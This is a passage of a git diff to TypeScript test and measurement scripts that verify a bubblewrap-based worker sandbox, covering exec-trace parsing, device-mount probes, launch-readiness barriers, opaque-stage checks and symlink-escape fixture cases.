"measure-turn-surface-live.ts" && input.liveEval === "587_OFFLINE") return "offline"; - throw new Error("Measurement refused before runtime import: require documented BRAIN_LIVE_EVAL=587 authorization"); - } - if (liveFlag.has(input.entry)) { - if (input.argv.includes("--allow-real-provider")) return "live"; - throw new Error("Measurement refused before runtime import: require documented --allow-real-provider authorization"); - } - return "offline"; -} -export function enterMeasurement(input: MeasurementEntryInput, effects: { installOffline(): void; warn(message: string): void }): "live" | "offline" { - const mode = measurementMode(input); - if (mode === "live") effects.warn(REAL_MEASUREMENT_WARNING); - else effects.installOffline(); - return mode; -} diff --git a/scripts/measurement-rtk-fixture.ts b/scripts/measurement-rtk-fixture.ts index 8860ca9d63..4850a8cc36 100644 --- a/scripts/measurement-rtk-fixture.ts +++ b/scripts/measurement-rtk-fixture.ts @@ -1,25 +1,10 @@ /** Private installed-native oracle for the production enforcement measurement. */ -import { createHash } from "node:crypto"; -import { compileSocketPolicy, RTK_SOCKET_POLICY } from "./test-native-guard"; -import { readFileSync, mkdirSync, mkdtempSync, rmSync, writeFileSync } from "node:fs"; +import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from "node:fs"; import { join, resolve } from "node:path"; -// Capture the outer invocation before a measurement changes its environment. -// Only the existing hosted pair is carried across bwrap's --clearenv; a local -// or self-hosted invocation cannot acquire it from a later fixture mutation. -const hostedRunner = process.env.GITHUB_ACTIONS === "true" && process.env.RUNNER_ENVIRONMENT === "github-hosted"; -const hostedEnvironment = hostedRunner ? ["--setenv", "GITHUB_ACTIONS", "true", "--setenv", "RUNNER_ENVIRONMENT", "github-hosted"] : []; - -/** brainWorkerPath prepends this exact empty fixture input. */ -export function prepareMeasurementBrainCommands(brain:string):string { - const path=join(brain,"node_modules",".bin");mkdirSync(path,{recursive:true});return path; -} - /** Re-enter a disposable system view; never install an oracle on the host. */ export async function enterMeasurementRtkView(): Promise { if (process.argv.includes("--native-rtk-view")) return; - const policy = compileSocketPolicy(); - const policyDigest = createHash("sha256").update(readFileSync(policy)).digest("hex"); const root = resolve(import.meta.dir, ".."); mkdirSync(join(root, "tmp"), { recursive: true }); const fixture = mkdtempSync(join(root, "tmp/enforcement-rtk-")); @@ -51,11 +36,11 @@ int main(int argc,char **argv) { ...["/usr/bin", "/usr/lib", "/usr/lib64", "/usr/share", "/etc"].flatMap(path => ["--ro-bind", path, path]), "--symlink", "usr/bin", "/bin", "--symlink", "usr/lib", "/lib", "--symlink", "usr/lib64", "/lib64", "--proc", "/proc", "--dev", "/dev", "--bind", "/tmp", "/tmp", - "--dir", "/usr/local/bin", "--ro-bind", binary, "/usr/local/bin/rtk", "--ro-bind", policy, RTK_SOCKET_POLICY, + "--dir", "/usr/local/bin", "--ro-bind", binary, "/usr/local/bin/rtk", "--ro-bind", root, root, "--bind", join(root, "tmp"), join(root, "tmp"), "--ro-bind", process.execPath, process.execPath, "--clearenv", - "--setenv", "PATH", "/usr/local/bin:/usr/bin:/bin", "--setenv", "HOME", "/nonexistent", ...hostedEnvironment, - "--chdir", root, "--", process.execPath, ...process.argv.slice(1), "--native-rtk-view", `--native-socket-policy-sha256=${policyDigest}`], + "--setenv", "PATH", "/usr/local/bin:/usr/bin:/bin", "--setenv", "HOME", "/nonexistent", + "--chdir", root, "--", process.execPath, ...process.argv.slice(1), "--native-rtk-view"], { env: {}, stdout: "inherit", stderr: "inherit" }); process.exitCode = await child.exited; } finally { rmSync(fixture, { recursive: true, force: true }); } diff --git a/scripts/measurement-worker-fixture.ts b/scripts/measurement-worker-fixture.ts index ce08f12df2..99bdb12cee 100644 --- a/scripts/measurement-worker-fixture.ts +++ b/scripts/measurement-worker-fixture.ts @@ -1,21 +1,19 @@ -import { diagnoseNativeFixtureRtk,diagnoseNativeRtkProjection } from "./native-rtk-diagnostics"; -import { registerNativeFixtureRtk } from "./test-native-guard"; /** Explicit copied execution inputs for offline, non-storage runtime measurements. */ +import { spyOn } from "bun:test"; +import * as workerOutput from "../packages/ui-sdk/src/server/worker-native-output.js"; import { prepareWorkerSandbox } from "../packages/ui-sdk/src/server/worker-launcher.js"; -import { createFixtureMaintenanceHost, createFixtureWorkerStartupView } from "../packages/ui-sdk/tests/helpers/worker-startup-view-fixture.js"; +import { createFixtureMaintenanceHost, createFixtureWorkerStartupView, prepareFixtureNativeWorkerOutput } from "../packages/ui-sdk/tests/helpers/worker-startup-view-fixture.js"; /** Keep the real launcher, tool hooks and inference transport; only storage acquisition is a fixture. */ export function createMeasurementWorkerFixture(brain: string, home?: string) { const maintenance = createFixtureMaintenanceHost(brain); + const output = spyOn(workerOutput, "prepareNativeWorkerOutput").mockImplementation(prepareFixtureNativeWorkerOutput); try { - // Measurements write only ephemeral WORKER_SCRATCH. No persistent areas - // need an output keeper or its namespace-only temporary mount aliases. - const workerSandbox = prepareWorkerSandbox(brain, { home, maintenance, areas: [] }); + const workerSandbox = prepareWorkerSandbox(brain, { home, maintenance }); + // Host setup creates writable-area mount points before the immutable input is acquired. const workerStartupView = createFixtureWorkerStartupView(brain); - let live:import("../packages/ui-sdk/src/server/worker-launcher").LaunchedWorker|undefined; - return { maintenance, request: { workerSandbox, workerStartupView,workerStarted(worker:Parameters>[0]){if(!("pid" in worker)||typeof worker.pid!=="number")throw Error("native fixture RTK worker identity unavailable");live=worker as import("../packages/ui-sdk/src/server/worker-launcher").LaunchedWorker;} }, - qualifyRtk(command:string){let projection:ReturnType|undefined;diagnoseNativeFixtureRtk(()=>{if(!live)throw Error("native fixture RTK worker unavailable");projection=registerNativeFixtureRtk(live);});return diagnoseNativeRtkProjection(projection!.pid,projection!.launch,command);},cleanup() { - try { workerStartupView.cleanup(); } finally { maintenance.cleanup(); } + return { maintenance, request: { workerSandbox, workerStartupView }, cleanup() { + try { workerStartupView.cleanup(); } finally { output.mockRestore(); maintenance.cleanup(); } } }; - } catch (error) { maintenance.cleanup(); throw error; } + } catch (error) { output.mockRestore(); maintenance.cleanup(); throw error; } } diff --git a/scripts/native-device-diagnostics.ts b/scripts/native-device-diagnostics.ts deleted file mode 100644 index ae5f06cc1d..0000000000 --- a/scripts/native-device-diagnostics.ts +++ /dev/null @@ -1,50 +0,0 @@ -import {nativeExecTrace} from "./native-exec-trace"; -import {readFileSync} from "node:fs"; -/** Temporary identity-only metadata probe: fixed paths, no permissions changed. */ -export function nativeDeviceMetadataCommand(command:readonly string[]):string[] { - return ["/usr/bin/python3","-I","-S","-c",'import os,sys\nfor path in ["/dev","/dev/urandom"]:\n try: os.stat(path); os.statvfs(path)\n except OSError: pass\nos.execvp(sys.argv[1],sys.argv[1:])',...command]; -} -export function nativeDeviceMetadata(trace:string):Array> { - const records=new Map>(); - for(const line of trace.split("\n")){ - const mount=/^\s*(?:[0-9]+\s+)?statfs\("(\/dev(?:\/urandom)?)", .*\bf_flags=([^,}]+).*\) = 0$/.exec(line); - if(mount){const device=mount[1]==="/dev"?"dev":"urandom",flags=mount[2]!;records.set(device,{...records.get(device),device,nodev:/\bST_NODEV\b/.test(flags),nosuid:/\bST_NOSUID\b/.test(flags),ro:/\bST_RDONLY\b/.test(flags)});continue;} - - const match=/^\s*(?:[0-9]+\s+)?newfstatat\(AT_FDCWD, "(\/dev(?:\/urandom)?)", (.*)\) = (.*)$/.exec(line); - if(!match)continue; - const device=match[1]==="/dev"?"dev":"urandom",body=match[2]!,result=match[3]!; - const mode=/\bst_mode=S_IF(?:DIR|CHR)\|([0-7]+)/.exec(body),uid=/\bst_uid=([0-9]+)/.exec(body),gid=/\bst_gid=([0-9]+)/.exec(body); - if(result==="0"&&mode&&uid&&gid)records.set(device,{...records.get(device),device,mode:parseInt(mode[1]!,8),uid:Number(uid[1]),gid:Number(gid[1])}); - else {const error=/^-1 (EACCES|EPERM|ENOENT|ENOTDIR)\b/.exec(result);if(error)records.set(device,{device,error:error[1]!});} - } - return [...records.values()]; -} - -/** Exec positions and /dev basenames only; never retain executable or host paths. */ -export function nativeStartupOpenStages(trace:string,expected:readonly string[],wrapper:string):Array<{stage:string;execPosition:number;device:string;error:string}> { - const execs=new Map(nativeExecTrace(trace).at.map(event=>[event.line,event])); - const states=new Map();const records:Array<{stage:string;execPosition:number;device:string;error:string}>=[]; - for(const [lineIndex,line] of trace.split("\n").entries()){ - const exec=execs.get(lineIndex); - if(exec){const previous=states.get(exec.pid);states.set(exec.pid,{stage:expected.includes(exec.path)?"payload":exec.path===wrapper?"wrapper":"bootstrap",execPosition:(previous?.execPosition??0)+1});} - const fork=/^\s*(\d+)\s+(?:clone3?|fork|vfork)\(.*\)\s+= (\d+)$/.exec(line); - if(fork){const state=states.get(Number(fork[1]));if(state)states.set(Number(fork[2]),{...state});} - const failed=/^\s*(\d+)\s+open(?:at2?)?\(.*?"(\/dev\/(?:stdin|stdout|stderr|null|urandom|tty|fd\/\d+|pts\/\d+|shm\/[^"/]+))".*= -1 (EACCES|EPERM)\b/.exec(line); - if(failed){const state=states.get(Number(failed[1]))??{stage:"bootstrap",execPosition:0};const device=failed[2]!.startsWith("/dev/shm/")?"shm":failed[2]!.slice(5);records.push({...state,device,error:failed[3]!});} - } - return records.slice(-32); -} - -/** Derive device restoration from the production keeper; never maintain a second device list. */ -export function nativeProductDeviceMounts():string[] { - const source=readFileSync(new URL("../packages/ui-sdk/src/server/worker-launcher.ts",import.meta.url),"utf8"); - const keeper=source.slice(source.indexOf("const keeperCommand ="),source.indexOf("child = Bun.spawn(keeperCommand")); - const matches=[...keeper.matchAll(/\.\.\.(\[[^\]]+\])\.flatMap\(name => \["--dev-bind",/g)]; - if(matches.length!==1)throw Error("production keeper device policy is unavailable"); - const names:unknown=JSON.parse(matches[0]![1]!); - if(!Array.isArray(names)||names.length!==6||new Set(names).size!==names.length||names.some(name=>typeof name!=="string"||!/^[_a-z]+$/.test(name)))throw Error("production keeper device policy is invalid"); - return names.flatMap(name=>["--dev-bind",`/dev/${name}`,`/dev/${name}`]); -} -export function nativeSeparateUidAuditCommand(bwrap:string,payload:readonly string[],auditStorage:string):string[] { - return [bwrap,"--die-with-parent","--unshare-user","--unshare-pid","--unshare-net","--cap-drop","ALL","--bind","/","/","--proc","/proc",...nativeProductDeviceMounts(),"--tmpfs",auditStorage,"--",...payload]; -} diff --git a/scripts/native-exec-trace.ts b/scripts/native-exec-trace.ts deleted file mode 100644 index 7c15c243b4..0000000000 --- a/scripts/native-exec-trace.ts +++ /dev/null @@ -1,37 +0,0 @@ -/** Parse only strace-owned exec records, including Linux de_thread PID changes. */ -export function nativeExecTrace(trace:string) { - const events:{pid:number;path:string}[]=[],pending=new Map(),initiator=new Map(),ambiguous=new Set(); - const at:{line:number;pid:number;path:string}[]=[]; - const record=(pid:number,path:string,line:number)=>{events.push({pid,path});at.push({line,pid,path});}; - const counters={completed:0,splitStarted:0,splitSucceeded:0,splitFailed:0,splitIncomplete:0,splitAmbiguous:0,superseded:0}; - for(const [lineIndex,line] of trace.split("\n").entries()){ - const migration=/^\s*(\d+)\s+\+\+\+ superseded by execve in pid (\d+) \+\+\+$/.exec(line); - if(migration){ - const leader=Number(migration[1]),thread=Number(migration[2]); - const previous=initiator.get(leader); - if(previous!==undefined&&previous!==thread){ambiguous.add(leader);initiator.delete(leader);for(const pid of [previous,thread])if(pending.delete(pid))counters.splitIncomplete++;counters.splitAmbiguous++;} - if(!ambiguous.has(leader)&&leader!==thread&&pending.has(thread)&&!initiator.has(leader)){initiator.set(leader,thread);counters.superseded++;} - continue; - } - const resumed=/^\s*(\d+)\s+<\.\.\. execve resumed>.*\)\s+= (-?\d+)(?:\s.*)?$/.exec(line); - if(resumed){ - const leader=Number(resumed[1]);if(ambiguous.has(leader))continue; - const thread=initiator.get(leader)??leader,path=pending.get(thread); - if(path!==undefined){ - pending.delete(thread);initiator.delete(leader); - if(resumed[2]==="0"){record(leader,path,lineIndex);counters.splitSucceeded++;}else counters.splitFailed++; - }continue; - } - const start=/^\s*(?:(\d+)\s+)?execve\(("(?:\\.|[^"\\])*")\s*,/.exec(line); - if(!start)continue; - let path:string;try{path=JSON.parse(start[2]!);}catch{continue;} - const pid=Number(start[1]??0); - if(/\)\s+= 0$/.test(line)){record(pid,path,lineIndex);counters.completed++;} - else if(/<(?:unfinished|pid changed to \d+) \.\.\.>$/.test(line)){ - if(pending.has(pid))counters.splitIncomplete++; - pending.set(pid,path);counters.splitStarted++; - } - } - counters.splitIncomplete+=pending.size; - return {events,counters,at}; -} diff --git a/scripts/native-launch-ready.ts b/scripts/native-launch-ready.ts deleted file mode 100644 index 4ca6c7130a..0000000000 --- a/scripts/native-launch-ready.ts +++ /dev/null @@ -1,41 +0,0 @@ -/** Test-only pre-exec barrier: guard setup finishes before a product starts its clock. */ -import {chmodSync,closeSync,constants,fstatSync,lstatSync,mkdtempSync,openSync,readFileSync,rmSync,writeSync} from "node:fs"; -import {join} from "node:path"; -import {tmpdir} from "node:os"; -import {watchdogMs} from "./test-deadlines"; -const spawnSync=Bun.spawnSync.bind(Bun); -let helper:{directory:string;program:string}|undefined; -const live=new Set<()=>void>(); -function program(){ - if(helper)return helper.program; - const directory=mkdtempSync(join(tmpdir(),"odysseus-native-ready-helper-")),file=join(directory,"ready"); - try{ - const built=spawnSync(["cc","-static","-Os","-std=c11","-x","c","-","-o",file],{stdin:readFileSync(join(import.meta.dir,"native-proof/native-launch-ready.c")),stdout:"pipe",stderr:"pipe",env:{PATH:"/usr/bin:/bin"}}); - if(built.exitCode!==0)throw Error("native guard readiness helper unavailable");chmodSync(file,0o555);helper={directory,program:file}; - process.prependOnceListener("exit",()=>{for(const dispose of [...live])dispose();rmSync(directory,{recursive:true,force:true});});return file; - }catch(error){rmSync(directory,{recursive:true,force:true});throw error;} -} -export function prepareNativeLaunchReadiness(timeoutMs=watchdogMs(30000)){ - const executable=program(),directory=mkdtempSync(join(tmpdir(),"odysseus-native-ready-")),ready=join(directory,"ready"),go=join(directory,"go"),target=directory; - let fd:number|undefined,release:number|undefined,used=false,closed=false; - const dispose=()=>{if(closed)return;closed=true;if(fd!==undefined)closeSync(fd);if(release!==undefined)closeSync(release);fd=release=undefined;rmSync(directory,{recursive:true,force:true});live.delete(dispose);};live.add(dispose); - try{ - const made=spawnSync([executable,"init",ready,go],{env:{},stdout:"pipe",stderr:"pipe"});if(made.exitCode!==0)throw Error("native guard readiness channel unavailable"); - fd=openSync(ready,constants.O_RDWR|constants.O_NONBLOCK|constants.O_NOFOLLOW|0o2000000);release=openSync(go,constants.O_RDWR|constants.O_NONBLOCK|constants.O_NOFOLLOW|0o2000000); - const stamps=[fstatSync(fd,{bigint:true}),fstatSync(release,{bigint:true})]; - return {directory,executable,mounts:["--ro-bind",directory,target,"--ro-bind",executable,executable], - wrap:(argv:readonly string[])=>[executable,"payload",target+"/ready",target+"/go","--",...argv], - afterSpawn(pid:number,validate:()=>void=()=>{}){ - if(closed||used)throw Error("native guard readiness channel expired");used=true; - const start=()=>{const fields=readFileSync(`/proc/${pid}/stat`,"utf8").replace(/^.*\) /s,"").trim().split(/\s+/);if(!fields[19]||["Z","X"].includes(fields[0]!))throw Error("native guard launch identity unavailable");return fields[19];}; - let ownedStart:string|undefined; - try{ - ownedStart=start(); - for(const [index,path]of [ready,go].entries()){const now=lstatSync(path,{bigint:true}),held=stamps[index]!;if(!now.isFIFO()||now.dev!==held.dev||now.ino!==held.ino||now.nlink!==1n||(now.mode&0o777n)!==0o600n)throw Error("native guard readiness channel changed");} - const result=spawnSync([executable,"wait",String(timeoutMs)],{env:{},stdin:"ignore",stdout:"pipe",stderr:"pipe",stdio:["ignore","pipe","pipe",fd!],timeout:timeoutMs+1000}); - if(result.exitCode!==0)throw Error("native guard setup did not become ready");if(start()!==ownedStart)throw Error("native guard launch identity changed");validate();if(start()!==ownedStart)throw Error("native guard launch identity changed");writeSync(release!,"G"); - }catch(error){try{if(ownedStart&&start()===ownedStart)process.kill(pid,"SIGKILL");}catch{}throw error;} - finally{dispose();} - },dispose}; - }catch(error){dispose();throw error;} -} diff --git a/scripts/native-opaque-stage.ts b/scripts/native-opaque-stage.ts deleted file mode 100644 index 134b0847b8..0000000000 --- a/scripts/native-opaque-stage.ts +++ /dev/null @@ -1,38 +0,0 @@ -/** Test-side evidence for an unknown node the fixed worker cannot read or execute. */ -import {lstatSync,openSync,closeSync,readFileSync,fstatSync} from "node:fs"; -export type OpaqueStageNode={path:string;kind:"file"|"directory";stamp:string;identity:string}; -export type OpaqueStageEvidence={uid:number;gid:number;mode:number;nlink:string;dev:string;ino:string;mountId:string;rootMountId:string;stamp:string;kind:string;worker:{uid:number;gid:number;mode:number;nlink:string;dev:string;ino:string;mountId:string;rootMountId:string;stamp:string;kind:string;errno:number;readerUid:number;readerGids:number[]}}; -export type StageReaderIdentity={uid:number;gids:readonly number[];root:string;forbidden:readonly string[];inspect?(relative:string,stamp:string,inode:string):OpaqueStageEvidence}; -export function verifyStageMetadataEvidence(evidence:OpaqueStageEvidence,reader:Pick,kind:string,stamp:string,errnos:readonly number[]=[13]):void { - const keys="dev,gid,ino,kind,mode,mountId,nlink,rootMountId,stamp,uid",worker=evidence.worker; - if(Object.keys(evidence).sort().join(",")!==keys+",worker"||!worker||Object.keys(worker).sort().join(",")!=="dev,errno,gid,ino,kind,mode,mountId,nlink,readerGids,readerUid,rootMountId,stamp,uid")throw Error("Stage metadata schema mismatch"); - for(const key of keys.split(",") as (keyof Omit)[])if(evidence[key]!==worker[key])throw Error("Worker/root node mismatch"); - if(![evidence.uid,evidence.gid,evidence.mode].every(value=>Number.isSafeInteger(value)&&value>=0)||evidence.mode>0o7777||![evidence.dev,evidence.ino,evidence.mountId,evidence.rootMountId,evidence.nlink].every(value=>typeof value==="string"&&/^[0-9]+$/.test(value))||evidence.mountId!==evidence.rootMountId||evidence.stamp!==stamp||evidence.ino!==stamp.split(":")[0]||evidence.kind!==kind||!errnos.includes(worker.errno)||worker.readerUid!==reader.uid||!Array.isArray(worker.readerGids)||JSON.stringify(worker.readerGids)!==JSON.stringify([...new Set(reader.gids)].sort((a,b)=>a-b)))throw Error("Unproven opaque worker node"); -} -function mount(path:string):{id:string;dev:bigint;ino:bigint}{ - const fd=openSync(path,0x200000|0x20000); - try{const info=fstatSync(fd,{bigint:true}),id=/^mnt_id:\s+(\d+)$/m.exec(readFileSync(`/proc/self/fdinfo/${fd}`,"utf8"))?.[1];if(!id)throw Error("Unproven opaque mount identity");return {id,dev:info.dev,ino:info.ino};}finally{closeSync(fd);} -} -export function opaqueStageNode(path:string,relative:string,kind:"file"|"directory",stamp:string,reader:StageReaderIdentity):OpaqueStageNode { - if(reader.uid===0||!Number.isSafeInteger(reader.uid)||reader.uid<0||!reader.gids.length||!reader.gids.every(gid=>Number.isSafeInteger(gid)&&gid>=0))throw Error("Unproven stage reader identity"); - let identity:string,owner:number,group:number,mode:number; - if(reader.inspect){ - const evidence=reader.inspect(relative,stamp,stamp.split(":")[0]!); - verifyStageMetadataEvidence(evidence,reader,kind,stamp); - owner=evidence.uid;group=evidence.gid;mode=evidence.mode;identity=JSON.stringify(evidence); - }else{ - const info=lstatSync(path,{bigint:true}),rootMount=mount(reader.root),nodeMount=mount(path); - if(nodeMount.id!==rootMount.id||nodeMount.dev!==info.dev||nodeMount.ino!==info.ino||info.isSymbolicLink()||(kind==="directory"?!info.isDirectory():!info.isFile())||`${info.ino}:${info.size}:${info.mtimeNs}:${info.ctimeNs}`!==stamp)throw Error("Unproven opaque stage identity"); - owner=Number(info.uid);group=Number(info.gid);mode=Number(info.mode);identity=`${info.dev}:${info.ino}:${info.uid}:${info.gid}:${info.mode}:${info.size}:${info.mtimeNs}:${info.ctimeNs}`; - } - const access=mode>> (owner===reader.uid?6:reader.gids.includes(group)?3:0)&7; - // A named POSIX ACL entry can use the group mask even when this reader - // is not in the owning group. Without ACL bytes, a non-owner needs that - // mask to deny read/search too; an unknown ACL never becomes clean. - if((access&5)||(owner!==reader.uid&&((mode>>3)&5)))throw Error("Stage node remains readable or executable/searchable"); - if(reader.forbidden.some(candidate=>candidate===path||candidate.startsWith(path+"/")||path.startsWith(candidate+"/")))throw Error("Opaque stage node intersects a native candidate or mask"); - return {path:relative,kind,stamp,identity}; -} -export function recheckOpaqueStageNode(path:string,node:OpaqueStageNode,reader:StageReaderIdentity):void { - if(opaqueStageNode(path,node.path,node.kind,node.stamp,reader).identity!==node.identity)throw Error("Opaque stage node changed"); -} diff --git a/scripts/native-proof/Dockerfile b/scripts/native-proof/Dockerfile index 39d222be41..cd5ff14c75 100644 --- a/scripts/native-proof/Dockerfile +++ b/scripts/native-proof/Dockerfile @@ -8,6 +8,6 @@ RUN timeout --kill-after=10s 600s sh -ec ' \ if [ "$attempt" = 3 ]; then exit 1; fi; \ sleep 5; \ done; \ - DEBIAN_FRONTEND=noninteractive apt-get -o Acquire::Retries=5 -o Acquire::http::Timeout=30 -o Acquire::https::Timeout=30 install -y --no-install-recommends btrfs-progs util-linux python3 gcc libc6-dev bubblewrap strace libseccomp2 git iproute2 openssl ca-certificates; \ + DEBIAN_FRONTEND=noninteractive apt-get -o Acquire::Retries=5 -o Acquire::http::Timeout=30 -o Acquire::https::Timeout=30 install -y --no-install-recommends btrfs-progs util-linux python3 bubblewrap libseccomp2 git iproute2 openssl ca-certificates; \ rm -rf /var/lib/apt/lists/*' ENTRYPOINT ["python3"] diff --git a/scripts/native-proof/code-change-receipts.ts b/scripts/native-proof/code-change-receipts.ts index 446db15da2..ca051e2c0c 100644 --- a/scripts/native-proof/code-change-receipts.ts +++ b/scripts/native-proof/code-change-receipts.ts @@ -1,5 +1,5 @@ -/** Native UID proof for the production journal's checkout receipt path (#4297). */ import { watchdogMs } from "../test-deadlines.js"; +/** Native UID proof for the production journal's checkout receipt path (#4297). */ import { expect } from "bun:test"; import type { Database } from "bun:sqlite"; import type { TurnJournal } from "../../packages/ui-server/src/brain/turn-journal.js"; diff --git a/scripts/native-proof/fixture-preparation.native.ts b/scripts/native-proof/fixture-preparation.native.ts deleted file mode 100644 index 053759376f..0000000000 --- a/scripts/native-proof/fixture-preparation.native.ts +++ /dev/null @@ -1,170 +0,0 @@ -/** Real preparers and real stages; failures are isolated by the root proof caller. */ -import {expect,spyOn} from "bun:test"; -import * as fixtureFs from "node:fs"; -import {Database} from "bun:sqlite"; -import {chmodSync,mkdirSync,readFileSync,rmSync,writeFileSync} from "node:fs"; -import {join} from "node:path"; -import {createNativeBrainManagerClient} from "../../packages/ui-sdk/src/server/native-brain-manager-client"; -import {prepareNativeWorkerStartupView} from "../../packages/ui-sdk/src/server/worker-startup-view"; -import {prepareNativeWorkerOutput} from "../../packages/ui-sdk/src/server/worker-native-output"; -import {probeWorkerHost} from "../../packages/ui-sdk/src/server/worker-launcher"; -import {prepareMaintenanceWorker,prepareMaintenanceGitInput,runMaintenanceWorker,type MaintenanceCommand} from "../../packages/ui-sdk/src/server/maintenance-worker"; -import {nativeFixtureObserveWorkerSpawns,nativeGuardedBoundary,nativeWorkerBoundary,nativeFixtureFindingCounts,nativeFixtureManagerClient,registerNativeFixtureManagedKeeper} from "../test-native-guard"; -import {bundledClaudeBinary} from "../../packages/core/src/providers/agents/claude-binary"; -import {createNativeBrainLeaseManager} from "../../packages/ui-server/src/brain/native-brain-leases"; -import {withNativeProofStages,observeNativeProofStages} from "../../tests/helpers/native-managed-proof"; -const realPrepareNativeOutput=prepareNativeWorkerOutput; -export const preparationCases=["positive","mid-walk-write","nested-observer","stale-inspection","foreign","wrong-preparer","native-under-preparer","failed-preparation","actual-wrapper","copied-wrapper","closed-wrapper","raw-expired","link-mapped","link-wrong-destination","link-sibling-prefix","link-changed-overlay","link-external","link-runtime-target","link-chain-escape"] as const; -export async function proveFixturePreparation(mode:string,brain:string,socketPath:string):Promise{ - if(!preparationCases.includes(mode as typeof preparationCases[number]))throw Error("Unknown preparation proof"); - await withNativeProofStages(brain,async()=>{ - expect(probeWorkerHost(brain,{profile:"governed",stateBytes:1024**2,turnTempBytes:1024**2}).ok,"REAL_PREPARER_IDENTITY").toBe(true); - const opaque=join(brain,".brain/odysseus-preparation-private");mkdirSync(opaque,{mode:0o700});chmodSync(opaque,0o700);const gitDirectory=join(brain,".git");mkdirSync(gitDirectory);chmodSync(gitDirectory,0o755);for(const name of ["hooks","info","modules"]){mkdirSync(join(gitDirectory,name));chmodSync(join(gitDirectory,name),0o755);}writeFileSync(join(gitDirectory,"config"),"[core]\nrepositoryformatversion=0\n",{mode:0o644});chmodSync(join(gitDirectory,"config"),0o644);const index=join(brain,".brain-index");mkdirSync(index);chmodSync(index,0o2775);const db=new Database(join(index,"brain.db"));db.run("CREATE TABLE odysseus(value INTEGER)");db.close();chmodSync(join(index,"brain.db"),mode==="failed-preparation"?0o444:0o644); - const linkMode=mode.startsWith("link-"); - if(linkMode){ - mkdirSync(join(brain,"notes"),{recursive:true,mode:0o755});writeFileSync(join(brain,"notes/odysseus-link-target.md"),"Odysseus stage link\n",{mode:0o644});chmodSync(join(brain,"notes"),0o755);chmodSync(join(brain,"notes/odysseus-link-target.md"),0o644); - let target=brain+"/notes/odysseus-link-target.md"; - if(mode==="link-sibling-prefix"){mkdirSync(join(brain,"-x/notes"),{recursive:true});writeFileSync(join(brain,"-x/notes/odysseus-link-target.md"),"Odysseus sibling control\n",{mode:0o644});for(const path of ["-x","-x/notes"])chmodSync(join(brain,path),0o755);chmodSync(join(brain,"-x/notes/odysseus-link-target.md"),0o644);target=brain+"-x/notes/odysseus-link-target.md";} - if(mode==="link-external")target="/odysseus-outside-stage/secret"; - if(mode==="link-runtime-target")target=brain+"/notes/odysseus-native-link"; - if(mode==="link-chain-escape"){fixtureFs.symlinkSync(brain+"/../odysseus-outside-stage",join(brain,"notes/chain"));target=brain+"/notes/chain";} - fixtureFs.symlinkSync(target,join(brain,"native-absolute-stage-link")); - } - let rawLive=true;const wrapperMode=["actual-wrapper","copied-wrapper","closed-wrapper","raw-expired"].includes(mode); - const progress=(stage:string)=>{if(wrapperMode)console.log(JSON.stringify({fixturePreparationStage:{mode,stage,at:performance.now()}}));}; - const raw=wrapperMode?nativeFixtureManagerClient({socketPath},()=>rawLive):createNativeBrainManagerClient({socketPath}); - const ledgerRoot=wrapperMode?join("/identity-fixture","odysseus-preparation-"+crypto.randomUUID()):undefined;if(ledgerRoot)mkdirSync(ledgerRoot,{mode:0o700}); - const ready=wrapperMode?await raw.ready():undefined; - const lease=ready?await createNativeBrainLeaseManager(raw,{statePath:join(ledgerRoot!,"leases.sqlite"),brainPath:brain,fsid:ready.fsid,brainUuid:ready.brainUuid}):undefined; - let leaseCloseCalls=0;if(lease){const close=lease.close.bind(lease);lease.close=()=>{leaseCloseCalls++;return close();};} - const manager=mode==="copied-wrapper"?{...lease!.client,__unobservedRaw:raw}:lease?.client??raw; - const view=await prepareNativeWorkerStartupView(brain,manager);progress("view-created"); - let recorded:ReturnType|undefined; - const stopRecording=nativeFixtureObserveWorkerSpawns(record=>{if(record.command.some(word=>word.endsWith("/maintenance-index-input.ts")))recorded=nativeGuardedBoundary(record.argv);}); - let midWalkIntercepted=false; - const descriptor=Object.getOwnPropertyDescriptor(Bun,"spawn")!,spawn=Bun.spawn;let captured:Record|undefined,armed=mode!=="positive"&&mode!=="stale-inspection"&&mode!=="foreign"; - Object.defineProperty(Bun,"spawn",{...descriptor,value:(...args:any[])=>{ - const options=Array.isArray(args[0])?args[1]:args[0],encoded=options?.env?.BRAIN_WORKER_LAUNCH; - if(encoded){const launch=JSON.parse(encoded); - if(mode==="positive"&&output&&launch.command?.[0]===bundledClaudeBinary()&&launch.command?.[1]==="--version"){ - const bindings:Record[]=[];const inspect=(value:any):void=>{if(Array.isArray(value)){for(let i=0;i+2{ - if(Array.isArray(value)){const result=value.map(edit);for(let i=0;i+2[key,edit(item)])); - if(typeof value==="string"&&value.startsWith("{")){try{return JSON.stringify(edit(JSON.parse(value)));}catch{}} - return value; - }; - options.env={...options.env,BRAIN_WORKER_LAUNCH:JSON.stringify(edit(launch))};expect(changed,"LINK_NEGATIVE_MUTATES_ACTUAL_PRODUCT_BIND_OPERANDS").toBe(true); - } - if(mode==="mid-walk-write"&&output&&launch.command?.[0]==="/bin/sh"&&launch.command?.[2]==='exec "$1"'){ - const plan=nativeWorkerBoundary({...options.env});expect(plan.unknown,"MID_WALK_USES_REAL_PRODUCT_MASK_PLAN").toBe(true); - const original=fixtureFs.realpathSync;let injected=false; - const watch=spyOn(fixtureFs,"realpathSync").mockImplementation(((...values:any[])=>{ - const real=Reflect.apply(original,fixtureFs,values); - // This is after keeper.live() has compared all keys and reused the - // existing findings, while the same validation walk is still running. - if(!injected&&typeof values[0]==="string"&&(values[0]===join(output!.output.storage.root,"merged")||values[0].includes("/odysseus-managed-inspection-"))&&(new Error().stack??"").includes("nativeManagedCandidateDirectories")){ - injected=true;const file=join(output!.output.storage.root,"merged/.brain-index/brain.db");writeFileSync(file,readFileSync(file)); - } - return real; - }) as typeof fixtureFs.realpathSync); - try{expect(()=>plan.beforeLaunch(),"MID_WALK_WRITE_MUST_BE_CAUGHT_AT_EXECUTION_EDGE").toThrow("managed fixture keeper snapshot is unavailable");expect(injected,"REAL_FILE_CHANGED_AFTER_REUSED_FINDINGS").toBe(true);midWalkIntercepted=true;} - finally{watch.mockRestore();plan.dispose();} - throw Error("MIDWALK_EXPECTED_REFUSAL"); - } - if(launch.command?.some((word:string)=>word.endsWith("/maintenance-index-input.ts"))){ - captured={...options.env}; - if(armed&&(mode==="wrong-preparer"||mode==="native-under-preparer")){ - armed=false;const original=launch.command as string[],runtime=bundledClaudeBinary();if(!runtime)throw Error("Native fixture runtime missing"); - const replacement=mode==="native-under-preparer"?[runtime]:[...original.slice(0,-1),String(Number(original.at(-1))+4096)]; - const replace=(value:any):any=>{ - 